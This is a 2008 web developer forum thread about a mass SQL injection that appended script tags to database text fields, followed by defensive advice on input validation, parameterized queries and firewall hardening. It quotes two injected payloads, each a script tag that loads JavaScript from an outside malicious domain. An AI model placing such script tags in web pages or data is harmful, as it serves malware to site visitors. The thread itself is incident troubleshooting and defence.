Last post Sep 01, 2008 05:10 PM by scothu
Jul 17, 2008 09:19 AM|napstulik7|LINK
Our database server seems to have be hacked somehow. I'm not sure if it is stored procedures or ASP.NET web app that was hacked or what.
Has anyone ever experienced the following?
Several databases and almost every field that is varchar or text field has an insertion of this code "<script src=http://www.gbradw.com/ngg.js></script>" and more similar scripts.
No data was deleted, but fields were updated with this at the end of original data.
How can I stop this abd prevent from happening again?
Jul 17, 2008 09:28 AM|eseidel|LINK
While you may not be using Oracle, I recommend you read this short article. The idea applies to all DB's.
Jul 17, 2008 09:43 AM|napstulik7|LINK
GREAT ARTICLE! Reading it now.
By the way, we are using MS SQL Server 2005.
Jul 17, 2008 12:31 PM|scothu|LINK
Is this a question about the new Dynamic Data framework? It sounds like a general SQL question? ASP.NET has many method of preventing this type of thing. ASP.NET pages have a page option called ValidateRequest which is true by default. It checks for snippets
this will encode the script/html so it just shows as text on the users browser and does not get interpreted as HTML/Script, and finally you should make sure that all your database code used parameterized sql operations as well, if you use things like Linq
to SQL/LinqDataSource you get this for free.
Jul 17, 2008 12:44 PM|napstulik7|LINK
I think that might be it. I will look into it closely tonight and post a response. I had to disable ValidateRequest to allow users to add HTML formatting to their descriptions. I'm using it with FreeTextBox control.
SQL Server is behind the firewall, so it definetly seems like a ASP.NET security leak.
Jul 17, 2008 12:56 PM|marcind|LINK
Jul 17, 2008 01:02 PM|scothu|LINK
As soon as you turn off ValidateRequest YOU become responsible for validating the request. Since you are allowing your users to input HTML you are going to need some mechanism to validate the HTML they enter and only allow certain tags. I have no idea if
FreeTextBox support filtering where you can specify what content you allow but some of the commerical HTML editor like RadEditor (from Telerik) support a ContentFilter property where you can explicitly what content you allow.
Jul 17, 2008 01:06 PM|napstulik7|LINK
I didn't want to blame this on them, but I'm taking the FreeTextBox out of ALL of my control panels ASAP until I figure out what to do. At least this insertion will stop.
Jul 31, 2008 09:11 AM|napstulik7|LINK
After removing freetextbox and setting validationrequest = true, it is still happening.
text inserted <script src=http://www.bjxt.ru/js.js></script>
this text and similar is still being inserted at the end of the records.
I ran antivirus checks on the windows and database servers, and no viruses were found. I got an email from google sending a Malware notification.
Has anyone experienced this in the past? What do I do to eliminate this?
Aug 01, 2008 02:31 PM|marcind|LINK
Dynamic Data is resilient to this kind of attack unless you set validaterequest=false. Are you sure that there are no other ways of accessing your database (other pages not using dynamic data) that are the culprits? Do you have any sort of server or database
logs that could help track this?
Aug 01, 2008 03:40 PM|napstulik7|LINK
Thank you for your response.
We identified the problem. It was a spyware cookie. We have removed it, I'm still not able to understand how it effected database fields.
We have a web based CMS for websites. Numerous users use it so it is possible that one of them had this virus/spyware on their PC.
Aug 01, 2008 06:11 PM|TATWORTH|LINK
If you are going to allow HTML input I suggest you use a rigourous filter on what HTML you allow your users to input. In the CommonData project on www.codeplex.com, there is an IsAllowedHTML function.
Aug 01, 2008 06:28 PM|TATWORTH|LINK
I have just added the following test to the matrix of tests on IsAllowedHtml, and it sucessfully rejected the script.
The design of the function is such that if say you wish to disallow the use of <h1> tags, you can just comment out one line to achieve this.
As other legitimate tags are identified the function can be extended.
Aug 21, 2008 03:10 AM|suresh.gurgaon|LINK
I'm also suffering from exact same problem. Some script tags get appended to our data in sql database tables.
So can you tell me how u Identify and how rectify it. Please tell me in detail as soon as possible.
Aug 21, 2008 05:37 AM|marcind|LINK
As noted earlier in this thread, there are no known vulnerabilities in the default Dynamic Data templates. It is possible that you have modified the default template (potentially to use third-party controls) or that there are other access points to your
database that might have been compromised. If you are not using the Dynamic Data feature then you might want to try a different forum, like the one about
Aug 21, 2008 06:30 AM|TATWORTH|LINK
>So can you tell me how u Identify and how rectify it. Please tell me in detail as soon as possible.
I suggest you download the CommonData project referred to elsewhere in this thread and use the filter functions it contains.
If you can work out from your IIS logs the IP address of the perpetrator, then block it.
I also suggest that you raise a new thread with your query and send send me a private message with its URL.
Aug 21, 2008 06:46 AM|.net.developer|LINK
this link should help get you started
also FTB has an option stripallscripting which removes all scripting tags
Aug 21, 2008 09:59 AM|napstulik7|LINK
The only way I'm able to do a fix until it happens again is running a find a replace function. Its extremely tedious.
What I did is, i created a stored proc. In it, I have find and replace for every table in my database, and every field that I think is effected (varchar, text type fields). The initial setup is alot of work, but there is no other choice. You have to mannualy
open the tables and look at the end of fields.
Stored proc runs slow obviousely if there are thousands or millions of records.
As I was creating this huge stored proc, I ran it for the fields that have these script tags. All script tags are different. I have no idea how they get into the database.
I have completely disabled the website control panel (stopped the web app from running) that used to allow HTML tags. Before I disabled it, I blocked all HTML inputs.
All query strings on the sites srip single quotes, and numbers are being checked for numeric type. And yet, it is still happening. Obviousely its not coming from the control panel.
Now, only certain sites and databases get effected, not all. But I think its just a matter of time before all get effected.
This is the stored proc. Mine expands for all tables and fields as I mentioned above.
These past weeks have been nothing but a nightmare for me as I have been doing nothing productive but fixing these issues. I have not been able to find a permanent fix.
My only idea of a solution right now is convert all data into xml files and run websites off xml. Update xml files whenever data gets added/updated in the website control panel. Have the control panel
with an SSL certificate.
Luckaly, sql server can generate xml easily.
So I have been studying xml/xpath/xquery/xslt, purchased half a dozen books so I can rewite all code :-(.
It ss all a learning experience again and again. I guess my positive outlook on this is I get to finally work with xml which I have been putting off for some time now.
Aug 21, 2008 12:44 PM|TATWORTH|LINK
It ss all a learning experience again and again.
You need to filter all your input. If you need to let your users input a limited amount of HTML you need an IsAllowedHTMLFragmentsuch as the one in CommonData at
Aug 22, 2008 06:27 AM|TATWORTH|LINK
I have just tested by HTML vetting function and the test passed.
The above NUnit test line passing shows that the IsAllowedHTML test would have rejected the hacker's script.
Aug 22, 2008 04:40 PM|TATWORTH|LINK
I have just recieved an email from Microsoft about the latest edition of URL Scan - the following quote is worthy of note:
"UrlScan 3.0 is by no means a Web security cure all. Hilmo described it as a "stopgap measure" that can be used to protect the server. Security ultimately needs to be enforced in the Web application itself.
"Really the application running on the server is the only piece of code that actually knows what the SQL query is intended to do," Hilmo explained. "So the fix for the root cause is for application developers to go in and do the validation and make sure
that the SQL data that they are sending to the SQL Server is what they intend."
Aug 22, 2008 05:04 PM|napstulik7|LINK
I'm sure I have done everything I can do on the application's end.
I'm not 100% positive, but I may have found the problem that was allowing this attack.
I logged into our Cisco router that has a built in Firewall and discovered several ports have been opened includiing the default port 1433 to the sql server which I disabled last year (we created a custom port instead). Also SQL Service port and a few more
which I can't remember at the moment.
I quickly disabled all ports that were not supposed to be opened.
So far so good, not incidenses. But its been less then 24 hours. I'm going to wait for a week to be positive on this. I will keep you posted.
Aug 22, 2008 05:32 PM|TATWORTH|LINK
> I may have found the problem that was allowing this attack.
I would be included to deep scan (all files on) all the servers on the network, preferably using an anti-virus/anti-spyware/anti-rootkit such as Vipre from Sunbelt-Software.
While this scan was being done, I would carefully find out in any of the domain admins had changed the router.
I regret to have to say, that you should assume your system has been compromised and change all the passwords as a matter of urgency. Passwords used to logon should be complex yet memorable. You should add a rule alongside the nondisclosure of passwords,
that no password should be used that a user has used on a system elsewhere.
I would also consider taking a reliable PC, adding an extra ethernet card, install Smoothwall Linux on it and use it to front your router. Now the hacker would have to break through two barriers to get to your network.
Aug 27, 2008 09:54 AM|napstulik7|LINK
What I thought would fix it, did not fix the sql injection problem.
It seems I have an SQL server 2003 virus. Similar to the slammer worm on SQL Server 2000. Not sure if there is a fix. It gets executed almost every time a databse request is made. It is out of control.
I'm looking in my system processes, I see sqlservr.exe is using up a lot of memory and CPU.
Aug 27, 2008 10:15 AM|TATWORTH|LINK
To fix try the following:
1) Disable the SQL services
2) Reboot the server
3) Run your anti-virus
4) Repeat steps 2 and 3 after re-booting and checking there are no viruses detected
5) Re - enable the services
Aug 27, 2008 10:45 AM|napstulik7|LINK
Thank you for all your help, I really appreciate it.
I'm going to do it now. Do you mean all SQL related services?
To verify, currently this is what I have in services.
1. SQL Server (MSSQLSERVER) disabled
2. SQL Server Active Directory Helper disabled
3. SQL Server Agent (MSSQLSERVER) disabled
4. SQL Server Server Analysis Services (MSSQLSERVER) disabled.
5. SQL Server Browser disabled
6. SQL Server Full Text Search (MSSQLSERVER) disabled
7. SQL Server Integration Services disabled
8. SQL Server Reportiing Services (MSSQLSERVER ) disabled
Upon completion of all the steps, I will enable #1 and #6.
Aug 27, 2008 12:08 PM|TATWORTH|LINK
Yes disable all the SQL related services. You should keep a note of which ones were disabled prior to the exercise. The A/D helper under some scenarios needs to be left disabled.
I would have expected SQL Agent to have been enabled.
Aug 28, 2008 12:26 PM|napstulik7|LINK
I purchased your recommended Vipre Enterprise.
It had finally found a hijacker worm on the web server called C2.Lop. More details could be found here
I can't believe the time it took me to finally fix this.
I was running norton endpoint protection that found absolutely nothing. What a waste of money. Never again! Thats why I was looking everywere else.
Thank you for everything!
I cannot thank enough!
Aug 28, 2008 01:38 PM|TATWORTH|LINK
I am glad you have fixed your problem. I suggest you also harden all your web sites against unexpected input.
Aug 28, 2008 01:40 PM|TATWORTH|LINK
I would also suggest that you test every machine on your site running SQL Server.
Aug 29, 2008 04:27 PM|napstulik7|LINK
I would like to harden all the web apps we have and I was wondering if there is a suggested list of things to do somewhere.
Aug 30, 2008 06:16 AM|TATWORTH|LINK
>I would like to harden all the web apps we have
There are three key steps:
Sep 01, 2008 04:00 PM|scothu|LINK
Let me add to this the following:
Sep 01, 2008 04:39 PM|napstulik7|LINK
Boy, do I feel dumb!
I have been losing my mind trying to figure out, why some of my sites keep getting hit with SQL injection attacks over and over after I have been trying all kinds of things.
Part of the problem is I didn't understand where they are coming from.
The interesting thing is, I have been developing for some years and I never had this happen till now.
I was told to do all kinds of things to strenghen my code (which were good), and I did it all, followed everyone's advice, and still nothing helped.
In the end I found a very simple solution. It is rediculousely stupid. I'm the only one to blame for this since I'm the developer of these apps.
I hope people realise this before it happens to them. In my case I really learned it the hard way. This should be in the programming 101 school!
Here is the deal.
All sql injection attacks were coming from query string monipulation. In my case I only recieved Integer type query strings.
To solve my problem, all I had to do is declare an integer type variable, assign the querystring value to it, and pass the variable to my stored procedure not the qerystring value directly.
Thats was it, very simple.
Dim rid as Integer = request.querystring("rid")
Sep 01, 2008 05:10 PM|scothu|LINK
The general rule of thumb when writing web applications is you can NEVER trust your input. That is why any sql query manipulation should always be done using parametered queries which can prevent most SQL injection. You display data function should be hardened
itself using the logic I mentioned in the first bullet point above. Do not every take input and append it to a sql query, instead using @parameters and use the AddParameter api to add them.